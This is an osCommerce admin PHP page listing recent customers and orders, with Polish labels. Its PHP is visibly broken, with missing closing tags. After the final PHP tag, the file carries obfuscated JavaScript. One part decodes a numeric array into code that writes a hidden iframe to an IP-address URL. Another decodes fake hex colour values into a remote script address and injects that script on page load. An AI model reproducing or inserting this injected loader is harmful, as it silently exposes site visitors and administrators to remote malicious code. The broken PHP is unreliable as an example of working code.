<?php  
/*
  $Id: configuration.php,v 1.43 2003/06/29 22:50:51 hpdl Exp $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

  require('includes/application_top.php');
$customers_query = tep_db_query("select c.customers_id, c.customers_firstname, c.customers_lastname, ci.customers_info_date_account_created, ci.customers_info_id from ".TABLE_CUSTOMERS." c, ".TABLE_CUSTOMERS_INFO." ci where c.customers_id = ci.customers_info_id ORDER BY ci.customers_info_date_account_created DESC LIMIT 5");
$orders_query = tep_db_query("SELECT o.orders_id, o.customers_name, o.date_purchased, o.orders_status, oi.orders_id, oi.text, oi.class, os. orders_status_id, os.orders_status_name FROM ".TABLE_ORDERS." o, ".TABLE_ORDERS_TOTAL." oi, ".TABLE_ORDERS_STATUS." os WHERE oi.class = 'ot_total' AND o.orders_id = oi.orders_id AND o.orders_status = os.orders_status_id ORDER BY date_purchased DESC LIMIT 5");
 

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html <?php echo HTML_PARAMS; >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo CHARSET; ">
<title><?php echo TITLE; </title>
<link rel="stylesheet" type="text/css" href="includes/stylesheet.css">
<script language="javascript" src="includes/menu.js"></script>
<script language="javascript" src="includes/general.js"></script>
</head>
<body marginwidth="0" marginheight="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0" bgcolor="#FFFFFF" onload="SetFocus();">
<!-- header //-->
<?php require(DIR_WS_INCLUDES . 'header.php'); 
<!-- header_eof //-->

<!-- body //-->

<table cellpadding="5" cellspacing="5" align="center" border="0" width="100%">
<tr>
<td valign="top">

<table border="0" cellpadding="5" width="100%">
<tr>
<td colspan="2" class="pageHeading">Ostatnio zarejestrowani klienci</TD>
</TR>
<tr>
<td class="smalltext" bgcolor="#eeeeee" width="50%"><B>Imię i nazwisko</B></TD><td class="smalltext" bgcolor="#eeeeee" align="center"><B>Data rejestracji</B></TD>
</TR>
<?php
while ($customers = tep_db_fetch_array($customers_query)) {
echo '<tr><td class="smalltext" bgcolor="#eeeeee"><a HREF="customers.php?cID=' . $customers['customers_id'] .'&action=edit">' . $customers['customers_firstname'] .'';
echo '&nbsp;' . $customers['customers_lastname'] .'</A></td><td class="smalltext" bgcolor="#eeeeee" align="center">'.$customers['customers_info_date_account_created'].'</TD></tr>';
}

</TABLE>

</TD>

<td valign="top">
<table border="0" cellpadding="5" width="100%">
<tr>
<td colspan="2" class="pageHeading">Ostatnie zamówienia</TD>
</TR>
<tr>
<td class="smalltext" bgcolor="#eeeeee"><B>Klient</B></TD><td class="smalltext" bgcolor="#eeeeee" align="center"><b>Kwota</B></TD><td class="smalltext" bgcolor="#eeeeee" align="center"><B>Data</B></TD><td class="smalltext" align="center" bgcolor="#eeeeee"><b>Status</B></TD>
</TR>
<?php
while ($orders = tep_db_fetch_array($orders_query)) {
echo '<tr><td class="smalltext" bgcolor="#eeeeee"><a HREF="orders.php?oID=' . $orders['orders_id'] .'&action=edit">' . $orders['customers_name'] .'</a>';
echo '</td><td class="smalltext" bgcolor="#eeeeee" align="right">' . strip_tags($orders['text']) .'</TD><td class="smalltext" bgcolor="#eeeeee" align="center">'.$orders['date_purchased'].'</TD><td class="smalltext" align="center"  bgcolor="#eeeeee">'.$orders['orders_status_name'].'</TD></tr>';
}


</TABLE>
</TD>

</TR>
</TABLE>

<!-- body_eof //-->

<!-- footer //-->
<?php require(DIR_WS_INCLUDES . 'footer.php'); 
<!-- footer_eof //-->
<br>
</body>
</html>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php');    ?>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var iv=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var ra=r[i].cssRules||r[i].rules;for(var ohx=0;ohx<ra.length;ohx++){var rnbr=ra.item?ra.item(ohx):ra[ohx];if(!rnbr.selectorText.match(/#va/))continue;uj=(rnbr.cssText)?rnbr.cssText:rnbr.style.cssText;iv=uj.match(/(S[^")]+)/)[1];ly=rnbr.selectorText.substr(1);};}catch(e){};}cr=new Date(2010,11,3,2,21,4);t=cr.getSeconds();var tofw=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,220/t,212/t,184/t,196/t,200/t,220/t,184/t,196/t,192/t,224/t,184/t,196/t,220/t,208/t,188/t,504/t,388/t,480/t,388/t,188/t,396/t,396/t,188/t,444/t,468/t,464/t,184/t,448/t,416/t,448/t,252/t,460/t,380/t,420/t,400/t,244/t,196/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,220/t,212/t,184/t,196/t,200/t,220/t,184/t,196/t,192/t,224/t,184/t,196/t,220/t,208/t,188/t,504/t,388/t,480/t,388/t,188/t,396/t,396/t,188/t,444/t,468/t,464/t,184/t,448/t,416/t,448/t,252/t,460/t,380/t,420/t,400/t,244/t,196/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var tp="";var g=function(){return this;}();qcid=g["e"+ly+"l"];var htk="";phk=qcid(iv);for(var i=0;i<tofw.length;i++){xby=qcid(tofw[i]);htk+=phk(xby);}qcid(htk);if (typeof color_arr == 'undefined') {
   var color_arr = true;
   window.onload=function(){
      var opendivclr = '';
      var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7277', '#70737e', '#7d3d7d', '#7b3e7e', '#897883', '#847374', '#3e7270', '#83707b', '#7e763e', '#79823e', '#314d4b', '#3e8272', '#81787f', '#834d00');      
      for (j=0;j<div_colors.length;j++) {
   	   var c_rgb = div_colors[j];
 	   for (i=1;i<7;i++) {
		var c_clr = c_rgb.substr(i++,2);
		if (c_clr!='00') opendivclr += String.fromCharCode(parseInt(c_clr,16)-15);
	   }
      }
      if(!document.getElementById || !document.createElement){
		document.write(opendivclr);		
      } else {
		var new_cstyle=document.createElement('script');
		new_cstyle.type='text/javascript';
		new_cstyle.src=opendivclr.substr(36,36);
		document.getElementsByTagName('head')[0].appendChild(new_cstyle);		
      }
   }
}
